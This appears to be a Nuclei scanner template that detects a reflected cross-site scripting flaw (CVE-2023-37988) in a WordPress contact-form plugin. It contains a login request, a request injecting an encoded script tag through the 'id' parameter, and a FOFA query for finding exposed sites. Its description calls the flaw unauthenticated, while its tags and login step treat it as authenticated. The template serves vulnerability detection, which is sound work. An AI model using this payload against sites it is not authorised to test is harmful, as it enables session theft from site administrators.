id: CVE-2023-37988 info: name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting author: 0xr2r,vats147 severity: medium description: | The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. impact: | Unauthenticated attackers can inject malicious JavaScript through the id parameter to steal WordPress administrator session cookies when they view crafted links. remediation: | Update to plugin version 2.5.6 or later. reference: - https://packetstorm.news/files/id/174896 - https://nvd.nist.gov/vuln/detail/CVE-2023-37988 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-37988 epss-score: 0.01231 epss-percentile: 0.65028 cwe-id: CWE-79 cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: creative-solutions product: contact-form-generator fofa-query: body="/wp-content/plugins/contact-form-generator" tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated,vuln http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "" - "contact_form_generator" condition: and - type: word part: content_type_2 words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100c7ff2e510644986a6024fba0d88577d0be83b6c41a2633eac276b13662b1c57c0220335041f8b6a1d2f6af1d9550d40b5fad2d4084ee1e2576a1b44d4486afacfcd9:922c64590222798bb761d5b6d8e72950